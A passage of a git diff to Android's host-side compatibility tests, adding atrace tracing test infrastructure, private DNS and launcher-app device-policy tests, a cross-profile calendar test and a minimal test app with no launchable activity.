-            private int nextSectionIndex = -1;
-            private int appTid = -1;
-
-            private boolean foundCounter = false;
-            private boolean foundAsyncStart = false;
-            private int asyncEndTid = -1;
-
-
-            private final String initialSection = "traceable-app-test-section";
-            // list of tags expected to be seen on app launch, in order, after the initial.
-            private final String[] requiredSectionList = {
-                    "inflate",
-                    "Choreographer#doFrame",
-                    "traversal",
-                    "measure",
-                    "layout",
-                    "draw",
-                    "Record View#draw()"
-            };
-
-            @Override
-            public void onTraceEntry(String truncatedThreadName, int pid, int tid,
-                    String eventName, String details) {
-                if (!"tracing_mark_write".equals(eventName) || details == null) {
-                    // not userspace trace, ignore
-                    return;
-                }
-
-                assertNotNull(truncatedThreadName);
-                assertTrue(tid > 0);
-                userSpaceMatches++;
-
-                if (details.startsWith("S|") && details.endsWith("traceable-async-section|100")) {
-                    assertFalse("Found more async starts than expected", foundAsyncStart);
-                    foundAsyncStart = true;
-                    return;
-                }
-                if (details.startsWith("F|") && details.endsWith("traceable-async-section|100")) {
-                    assertEquals(-1, asyncEndTid);
-                    asyncEndTid = tid;
-                    return;
-                }
-
-                if (details.startsWith("C|") && details.endsWith("mycounter|1")) {
-                    assertFalse("Found too many counter entires", foundCounter);
-                    foundCounter = true;
-                    return;
-                }
-
-                if (!details.startsWith("B|")) {
-                    // not a begin event
-                    return;
-                }
-                beginMatches++;
-
-                if (details.endsWith("|" + initialSection)) {
-                    // initial section observed, start looking for others in order
-                    assertEquals(nextSectionIndex, -1);
-                    nextSectionIndex = 0;
-                    appTid = tid;
-                    return;
-                }
-
-                if (nextSectionIndex >= 0
-                        && tid == appTid
-                        && nextSectionIndex < requiredSectionList.length
-                        && details.endsWith("|" + requiredSectionList[nextSectionIndex])) {
-                    // found next required section in sequence
-                    nextSectionIndex++;
-                }
+        for (AsyncSlice asyncSlice : processModel.getAsyncSlices()) {
+            if (requiredAsyncSections.remove(asyncSlice.getName())) {
+                assertEquals(1, asyncSlice.getCookie());
             }
-
-            @Override
-            public void onFinished() {
-                assertTrue("Unable to parse any userspace sections from atrace output",
-                        userSpaceMatches != 0);
-                assertTrue("Unable to parse any section begin events from atrace output",
-                        beginMatches != 0);
-                assertTrue("Unable to parse initial userspace sections from test app",
-                        nextSectionIndex >= 0);
-                assertEquals("Didn't see required list of traced sections, in order",
-                        requiredSectionList.length, nextSectionIndex);
-                assertTrue("Didn't find async start", foundAsyncStart);
-                assertTrue("Didn't find counter", foundCounter);
-                assertTrue("Didn't find async end", asyncEndTid != -1);
-                assertTrue("Async end wasn't on a different thread", asyncEndTid != appTid);
-            }
-        };
-
-        FtraceParser.parse(new StringReader(traceData), callback);
+        }
+        assertEquals("Didn't find all async sections",
+                0, requiredAsyncSections.size());
     }
 }
diff --git a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTestBase.java b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTestBase.java
new file mode 100644
index 0000000..3ab9eb9
--- /dev/null
+++ b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTestBase.java
@@ -0,0 +1,246 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.atrace.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.result.TestResult;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.io.FileNotFoundException;
+import java.nio.charset.StandardCharsets;
+import java.util.Collection;
+import java.util.Map;
+import java.util.concurrent.Callable;
+
+import trebuchet.io.BufferProducer;
+import trebuchet.io.DataSlice;
+import trebuchet.model.Model;
+import trebuchet.task.ImportTask;
+import trebuchet.util.PrintlnImportFeedback;
+
+public class AtraceHostTestBase extends DeviceTestCase implements IBuildReceiver {
+    private static final String TEST_RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+    private static final String TEST_APK = "CtsAtraceTestApp.apk";
+    // TODO: Make private
+    protected static final String TEST_PKG = "com.android.cts.atracetestapp";
+    private static final String TEST_CLASS = "com.android.cts.atracetestapp.AtraceDeviceTests";
+
+    private static final String START_TRACE_CMD = "atrace --async_start -a \\* -c -b 16000";
+    private static final String START_TRACE_NO_APP_CMD = "atrace --async_start -c -b 16000";
+    private static final String STOP_TRACE_CMD = "atrace --async_stop";
+
+    private IBuildInfo mCtsBuild;
+    private boolean mIsInstalled = false;
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    /**
+     * Install a device side test package.
+     *
+     * @param appFileName Apk file name, such as "CtsNetStatsApp.apk".
+     * @param grantPermissions whether to give runtime permissions.
+     */
+    private void installPackage(String appFileName, boolean grantPermissions)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        LogUtil.CLog.d("Installing app " + appFileName);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        final String result = getDevice().installPackage(
+                buildHelper.getTestFile(appFileName), true, grantPermissions);
+        assertNull("Failed to install " + appFileName + ": " + result, result);
+    }
+
+    private final void requireApk() {
+        if (mIsInstalled) return;
+        try {
+            System.out.println("Installing APK");
+            installPackage(TEST_APK, true);
+            mIsInstalled = true;
+        } catch (FileNotFoundException | DeviceNotAvailableException e) {
+            e.printStackTrace();
+            throw new RuntimeException(e);
+        }
+    }
+
+    protected final void turnScreenOn() {
+        shell("input keyevent KEYCODE_WAKEUP");
+        shell("wm dismiss-keyguard");
+    }
+
+    @Override
+    public void run(junit.framework.TestResult result) {
+        try {
+            super.run(result);
+        } finally {
+            try {
+                // We don't have the equivalent of @AfterClass, but this basically does that
+                System.out.println("Uninstalling APK");
+                getDevice().uninstallPackage(TEST_PKG);
+                mIsInstalled = false;
+            } catch (DeviceNotAvailableException e) {}
+        }
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        try {
+            shell("atrace --async_stop");
+        } finally {
+            super.setUp();
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        try {
+            shell("atrace --async_stop");
+        } finally {
+            super.tearDown();
+        }
+    }
+
+    /**
+     * Run a device side test.
+     *
+     * @param pkgName Test package name, such as "com.android.server.cts.netstats".
+     * @param testClassName Test class name; either a fully qualified name, or "." + a class name.
+     * @param testMethodName Test method name.
+     * @throws DeviceNotAvailableException
+     */
+    private PidTidPair runDeviceTests(String pkgName,
+            String testClassName,  String testMethodName)
+            throws DeviceNotAvailableException {
+        if (testClassName != null && testClassName.startsWith(".")) {
+            testClassName = pkgName + testClassName;
+        }
+
+        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
+                pkgName, TEST_RUNNER, getDevice().getIDevice());
+        if (testClassName != null && testMethodName != null) {
+            testRunner.setMethodName(testClassName, testMethodName);
+        } else if (testClassName != null) {
+            testRunner.setClassName(testClassName);
+        }
+
+        CollectingTestListener listener = new CollectingTestListener();
+        assertTrue(getDevice().runInstrumentationTests(testRunner, listener));
+
+        final TestRunResult result = listener.getCurrentRunResults();
+        if (result.isRunFailure()) {
+            throw new AssertionError("Failed to successfully run device tests for "
+                    + result.getName() + ": " + result.getRunFailureMessage());
+        }
+        if (result.getNumTests() == 0) {
+            throw new AssertionError("No tests were run on the device");
+        }
+
+        if (result.hasFailedTests()) {
+            // build a meaningful error message
+            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+            for (Map.Entry<TestDescription, TestResult> resultEntry :
+                    result.getTestResults().entrySet()) {
+                if (!resultEntry.getValue().getStatus().equals(
+                        com.android.ddmlib.testrunner.TestResult.TestStatus.PASSED)) {
+                    errorBuilder.append(resultEntry.getKey().toString());
+                    errorBuilder.append(":\n");
+                    errorBuilder.append(resultEntry.getValue().getStackTrace());
+                }
+            }
+            throw new AssertionError(errorBuilder.toString());
+        }
+        return new PidTidPair(result);
+    }
+
+    private final PidTidPair runAppTest(String testname) {
+        requireApk();
+        try {
+            return runDeviceTests(TEST_PKG, TEST_CLASS, testname);
+        } catch (DeviceNotAvailableException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    protected final String shell(String command, String... args) {
+        if (args != null && args.length > 0) {
+            command += " " + String.join(" ", args);
+        }
+        try {
+            return getDevice().executeShellCommand(command);
+        } catch (DeviceNotAvailableException ex) {
+            throw new RuntimeException(ex);
+        }
+    }
+
+    private static class StringAdapter implements BufferProducer {
+        private byte[] data;
+        private boolean hasRead = false;
+
+        StringAdapter(String str) {
+            this.data = str.getBytes(StandardCharsets.UTF_8);
+        }
+
+        @Override
+        public DataSlice next() {
+            if (!hasRead) {
+                hasRead = true;
+                return new DataSlice(data);
+            }
+            return null;
+        }
+
+        @Override
+        public void close() {
+            hasRead = true;
+        }
+    }
+
+    private Model parse(String traceOutput) {
+        ImportTask importTask = new ImportTask(new PrintlnImportFeedback());
+        return importTask.importTrace(new StringAdapter(traceOutput));
+    }
+
+    protected final PidTidPair runSingleAppTest(AtraceDeviceTestList test) {
+        return runAppTest(test.toString());
+    }
+
+    protected final TraceResult traceSingleTest(AtraceDeviceTestList test, boolean withAppTracing,
+            String... categories) {
+        requireApk();
+        shell(withAppTracing ? START_TRACE_CMD : START_TRACE_NO_APP_CMD, categories);
+        PidTidPair pidTid = runSingleAppTest(test);
+        String traceOutput = shell("atrace --async_stop", categories);
+        assertNotNull("unable to capture atrace output", traceOutput);
+        return new TraceResult(pidTid, parse(traceOutput));
+    }
+
+    protected final TraceResult traceSingleTest(AtraceDeviceTestList test, String... categories) {
+        return traceSingleTest(test, true, categories);
+    }
+}
diff --git a/hostsidetests/atrace/src/android/atrace/cts/PidTidPair.java b/hostsidetests/atrace/src/android/atrace/cts/PidTidPair.java
new file mode 100644
index 0000000..91c944c
--- /dev/null
+++ b/hostsidetests/atrace/src/android/atrace/cts/PidTidPair.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.atrace.cts;
+
+import com.android.tradefed.result.TestRunResult;
+
+import java.util.Map;
+
+public class PidTidPair {
+    public final int pid;
+    public final int tid;
+
+    PidTidPair(TestRunResult testRunResult) {
+        Map<String, String> metrics = testRunResult.getRunMetrics();
+        pid = Integer.parseInt(metrics.get("AtraceDeviceTests_pid"));
+        tid = Integer.parseInt(metrics.get("AtraceDeviceTests_tid"));
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/atrace/src/android/atrace/cts/TraceResult.java b/hostsidetests/atrace/src/android/atrace/cts/TraceResult.java
new file mode 100644
index 0000000..20d624a
--- /dev/null
+++ b/hostsidetests/atrace/src/android/atrace/cts/TraceResult.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.atrace.cts;
+
+import trebuchet.model.Model;
+
+public class TraceResult {
+    private final PidTidPair mPidTidPair;
+    private final Model mModel;
+
+    public TraceResult(PidTidPair pidTidPair, Model model) {
+        mModel = model;
+        mPidTidPair = pidTidPair;
+    }
+
+    public int getTid() { return mPidTidPair.tid; }
+    public int getPid() { return mPidTidPair.pid; }
+    public Model getModel() { return mModel; }
+}
diff --git a/hostsidetests/atrace/src/android/atrace/cts/UncheckedThrow.java b/hostsidetests/atrace/src/android/atrace/cts/UncheckedThrow.java
new file mode 100644
index 0000000..a1c21c8
--- /dev/null
+++ b/hostsidetests/atrace/src/android/atrace/cts/UncheckedThrow.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.atrace.cts;
+
+public class UncheckedThrow {
+    /**
+     * Throw any kind of exception without needing it to be checked
+     * @param e any instance of a Exception
+     */
+    public static void throwAnyException(Exception e) {
+        /**
+         *  Abuse type erasure by making the compiler think we are throwing RuntimeException,
+         *  which is unchecked, but then inserting any exception in there.
+         */
+        UncheckedThrow.<RuntimeException>throwAnyImpl(e);
+    }
+
+    /**
+     * Throw any kind of throwable without needing it to be checked
+     * @param e any instance of a Throwable
+     */
+    public static void throwAnyException(Throwable e) {
+        /**
+         *  Abuse type erasure by making the compiler think we are throwing RuntimeException,
+         *  which is unchecked, but then inserting any exception in there.
+         */
+        UncheckedThrow.<RuntimeException>throwAnyImpl(e);
+    }
+
+    @SuppressWarnings("unchecked")
+    private static<T extends Throwable> void throwAnyImpl(Throwable e) throws T {
+        throw (T) e;
+    }
+}
diff --git a/hostsidetests/devicepolicy/Android.mk b/hostsidetests/devicepolicy/Android.mk
index 463a6d5..856e24b 100644
--- a/hostsidetests/devicepolicy/Android.mk
+++ b/hostsidetests/devicepolicy/Android.mk
@@ -29,7 +29,8 @@
     cts-tradefed \
     tradefed \
     compatibility-host-util \
-    guava
+    guava \
+    truth-prebuilt
 
 LOCAL_CTS_TEST_PACKAGE := android.adminhostside
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
index b0c798e..8e51bc3 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PrivateDnsPolicyTest.java
@@ -23,14 +23,13 @@
 import android.app.admin.DevicePolicyManager;
 import android.os.UserManager;
 
-import org.junit.Test;
-
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.testng.Assert.assertThrows;
 
 public class PrivateDnsPolicyTest extends BaseDeviceOwnerTest {
-    private static final String PRIVATE_DNS_HOST = "resolver.example.com";
+    private static final String DUMMY_PRIVATE_DNS_HOST = "resolver.example.com";
+    private static final String VALID_PRIVATE_DNS_HOST = "dns.google";
 
     private UserManager mUserManager;
 
@@ -70,17 +69,37 @@
         }
     }
 
+    /**
+     * Call DevicePolicyManager.setGlobalPrivateDns with the given mode, host, expecting
+     * the result code expectedResult.
+     */
+    private void callSetGlobalPrivateDnsExpectingResult(int mode, String privateDnsHost,
+            int expectedResult) {
+        int resultCode = mDevicePolicyManager.setGlobalPrivateDns(getWho(), mode, privateDnsHost);
+
+        assertEquals(
+                String.format(
+                        "Call to setGlobalPrivateDns with mode %d and host %s "
+                                + "should have produced result %d, but was %d",
+                        mode, privateDnsHost, expectedResult, resultCode),
+                expectedResult, resultCode);
+    }
+
     public void testCannotSetOffMode() {
         assertThrows(
                 IllegalArgumentException.class,
-                () -> mDevicePolicyManager.setGlobalPrivateDns(getWho(),
-                        PRIVATE_DNS_MODE_OFF, null)
-        );
+                () -> mDevicePolicyManager.setGlobalPrivateDns(
+                        getWho(), PRIVATE_DNS_MODE_OFF, null));
+
+        assertThat(
+                mDevicePolicyManager.getGlobalPrivateDnsMode(getWho())).isNotEqualTo(
+                PRIVATE_DNS_MODE_OFF);
     }
 
     public void testSetOpportunisticMode() {
-        mDevicePolicyManager.setGlobalPrivateDns(getWho(),
-                PRIVATE_DNS_MODE_OPPORTUNISTIC, null);
+        callSetGlobalPrivateDnsExpectingResult(PRIVATE_DNS_MODE_OPPORTUNISTIC, null,
+                DevicePolicyManager.PRIVATE_DNS_SET_SUCCESS);
+
         assertThat(
                 mDevicePolicyManager.getGlobalPrivateDnsMode(getWho())).isEqualTo(
                 PRIVATE_DNS_MODE_OPPORTUNISTIC);
@@ -88,14 +107,32 @@
     }
 
     public void testSetSpecificHostMode() {
-        mDevicePolicyManager.setGlobalPrivateDns(getWho(),
-                PRIVATE_DNS_MODE_PROVIDER_HOSTNAME, PRIVATE_DNS_HOST);
+        callSetGlobalPrivateDnsExpectingResult(PRIVATE_DNS_MODE_PROVIDER_HOSTNAME,
+                VALID_PRIVATE_DNS_HOST,
+                DevicePolicyManager.PRIVATE_DNS_SET_SUCCESS);
 
         assertThat(
                 mDevicePolicyManager.getGlobalPrivateDnsMode(getWho())).isEqualTo(
                 PRIVATE_DNS_MODE_PROVIDER_HOSTNAME);
         assertThat(
                 mDevicePolicyManager.getGlobalPrivateDnsHost(getWho())).isEqualTo(
-                PRIVATE_DNS_HOST);
+                VALID_PRIVATE_DNS_HOST);
+    }
+
+    public void testSetModeWithIncorrectHost() {
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> mDevicePolicyManager.setGlobalPrivateDns(
+                        getWho(), PRIVATE_DNS_MODE_PROVIDER_HOSTNAME, null));
+
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> mDevicePolicyManager.setGlobalPrivateDns(
+                        getWho(), PRIVATE_DNS_MODE_OPPORTUNISTIC, DUMMY_PRIVATE_DNS_HOST));
+
+        // This host does not resolve, so would output an error.
+        callSetGlobalPrivateDnsExpectingResult(PRIVATE_DNS_MODE_PROVIDER_HOSTNAME,
+                DUMMY_PRIVATE_DNS_HOST,
+                DevicePolicyManager.PRIVATE_DNS_SET_ERROR_HOST_NOT_SERVING);
     }
 }
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
index e8a1291..5404058 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
+++ b/hostsidetests/devicepolicy/app/LauncherTests/src/com/android/cts/launchertests/LauncherAppsTests.java
@@ -15,6 +15,8 @@
  */
 package com.android.cts.launchertests;
 
+import static org.junit.Assert.assertNotEquals;
+
 import android.app.Instrumentation;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
@@ -22,10 +24,12 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.ServiceConnection;
+import android.content.pm.ActivityInfo;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.LauncherActivityInfo;
 import android.content.pm.LauncherApps;
 import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.Handler;
@@ -48,6 +52,10 @@
 public class LauncherAppsTests extends AndroidTestCase {
 
     public static final String SIMPLE_APP_PACKAGE = "com.android.cts.launcherapps.simpleapp";
+    private static final String NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE =
+            "com.android.cts.nolaunchableactivityapp";
+
+    private static final String SYNTHETIC_APP_DETAILS_ACTIVITY = "android.app.AppDetailsActivity";
 
     public static final String USER_EXTRA = "user_extra";
     public static final String PACKAGE_EXTRA = "package_extra";
@@ -201,6 +209,49 @@
         assertFalse(mLauncherApps.isPackageEnabled("android", mUser));
     }
 
+    public void testNoLaunchableActivityAppHasAppDetailsActivityInjected() throws Exception {
+        // NoLaunchableActivityApp is installed for duration of this test - make sure
+        // it's present on the activity list, has the synthetic activity generated, and it's
+        // enabled and exported
+        List<LauncherActivityInfo> activities = mLauncherApps.getActivityList(null, mUser);
+        boolean noLaunchableActivityAppFound = false;
+        for (LauncherActivityInfo activity : activities) {
+            ComponentName compName = activity.getComponentName();
+            if (compName.getPackageName().equals(NO_LAUNCHABLE_ACTIVITY_APP_PACKAGE)) {
+                noLaunchableActivityAppFound = true;
+                // make sure it points to the synthetic app details activity
+                assertEquals(activity.getName(), SYNTHETIC_APP_DETAILS_ACTIVITY);
+                // make sure it's both exported and enabled
+                try {
+                    PackageManager pm = mInstrumentation.getContext().getPackageManager();
+                    ActivityInfo ai = pm.getActivityInfo(compName, /*flags=*/ 0);
+                    assertTrue("Component " + compName + " is not enabled", ai.enabled);
+                    assertTrue("Component " + compName + " is not exported", ai.exported);
+                } catch (NameNotFoundException e) {
+                    fail("Package " + compName.getPackageName() + " not found.");
+                }
+            }
+        }
+        assertTrue(noLaunchableActivityAppFound);
+    }
+
+    public void testNoSystemAppHasSyntheticAppDetailsActivityInjected() throws Exception {
+        List<LauncherActivityInfo> activities = mLauncherApps.getActivityList(null, mUser);
+        for (LauncherActivityInfo activity : activities) {
+            ApplicationInfo appInfo = activity.getApplicationInfo();
+            boolean isSystemApp = ((appInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0)
+                    || ((appInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0);
+            if (isSystemApp) {
+                // make sure we haven't generated a synthetic app details activity for it
+                assertNotEquals("Found a system app that had a synthetic activity generated,"
+                        + " package name: " + activity.getComponentName().getPackageName()
+                        + "; activity name: " + activity.getName(),
+                        activity.getName(),
+                        SYNTHETIC_APP_DETAILS_ACTIVITY);
+            }
+        }
+    }
+
     private void expectSecurityException(ExceptionRunnable action, String failMessage)
             throws Exception {
         try {
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileCalendarTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileCalendarTest.java
new file mode 100644
index 0000000..7797c46
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CrossProfileCalendarTest.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.managedprofile;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import java.util.Set;
+
+/**
+ * This class contains tests for cross profile calendar related features. Most of the tests in
+ * this class will need different setups, so the tests will be run separately.
+ */
+public class CrossProfileCalendarTest extends BaseManagedProfileTest {
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        // Make sure we are running in a managed profile.
+        assertThat(mDevicePolicyManager.isAdminActive(ADMIN_RECEIVER_COMPONENT)).isTrue();
+        assertThat(mDevicePolicyManager.isProfileOwnerApp(
+                ADMIN_RECEIVER_COMPONENT.getPackageName())).isTrue();
+    }
+
+    public void testCrossPrfileCalendarPackage() throws Exception {
+        final String TEST_PACKAGE_NAME = "test.calendar.package.name";
+        Set<String> whitelist = mDevicePolicyManager.getCrossProfileCalendarPackages(
+                ADMIN_RECEIVER_COMPONENT);
+        assertThat(whitelist).isEmpty();
+
+        mDevicePolicyManager.addCrossProfileCalendarPackage(
+                ADMIN_RECEIVER_COMPONENT, TEST_PACKAGE_NAME);
+        whitelist = mDevicePolicyManager.getCrossProfileCalendarPackages(
+                ADMIN_RECEIVER_COMPONENT);
+        assertThat(whitelist.size()).isEqualTo(1);
+        assertThat(whitelist.contains(TEST_PACKAGE_NAME)).isTrue();
+
+        assertThat(mDevicePolicyManager.removeCrossProfileCalendarPackage(
+                ADMIN_RECEIVER_COMPONENT, TEST_PACKAGE_NAME)).isTrue();
+        whitelist = mDevicePolicyManager.getCrossProfileCalendarPackages(
+                ADMIN_RECEIVER_COMPONENT);
+        assertThat(whitelist).isEmpty();
+    }
+}
diff --git a/hostsidetests/angle/app/debugOption/Android.mk b/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/Android.mk
similarity index 66%
copy from hostsidetests/angle/app/debugOption/Android.mk
copy to hostsidetests/devicepolicy/app/NoLaunchableActivityApp/Android.mk
index 64564c7..c3a2e9f 100644
--- a/hostsidetests/angle/app/debugOption/Android.mk
+++ b/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/Android.mk
@@ -12,26 +12,26 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-LOCAL_PATH := $(call my-dir)
+LOCAL_PATH:= $(call my-dir)
 
 include $(CLEAR_VARS)
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-java-files-under, ../common)
-
+# Don't include this package in any target
 LOCAL_MODULE_TAGS := tests
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_PACKAGE_NAME := CtsAngleDebugOptionTestCases
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+
+LOCAL_PACKAGE_NAME := CtsNoLaunchableActivityApp
 
 LOCAL_SDK_VERSION := current
 
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test AngleIntegrationTestCommon
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
-include $(BUILD_CTS_SUPPORT_PACKAGE)
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml
new file mode 100755
index 0000000..7b8b808
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.nolaunchableactivityapp">
+
+    <application>
+        <service android:name=".EmptyService" android:enabled="true"></service>
+    </application>
+
+</manifest>
+
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/src/com/android/cts/nolaunchableactivityapp/EmptyService.java
similarity index 60%
copy from hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
copy to hostsidetests/devicepolicy/app/NoLaunchableActivityApp/src/com/android/cts/nolaunchableactivityapp/EmptyService.java
index 14dbf6b..6cd0da6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ b/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/src/com/android/cts/nolaunchableactivityapp/EmptyService.java
@@ -1,4 +1,4 @@
-/**
+/*
  * Copyright (C) 2018 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,20 +13,20 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+package com.android.cts.nolaunchableactivityapp;
 
-package android.security.cts;
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
 
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc16_08 extends SecurityTestCase {
-  /**
-   *  b/28026365
-   */
-  @SecurityTest(minPatchLevel = "2016-08")
-  public void testPocCVE_2016_2504() throws Exception {
-    if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-        AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60);
+public class EmptyService extends Service {
+    public EmptyService() {
     }
-  }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        // do nothing, just here for the app to have some code
+        throw new UnsupportedOperationException("Not yet implemented");
+    }
 }
+
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
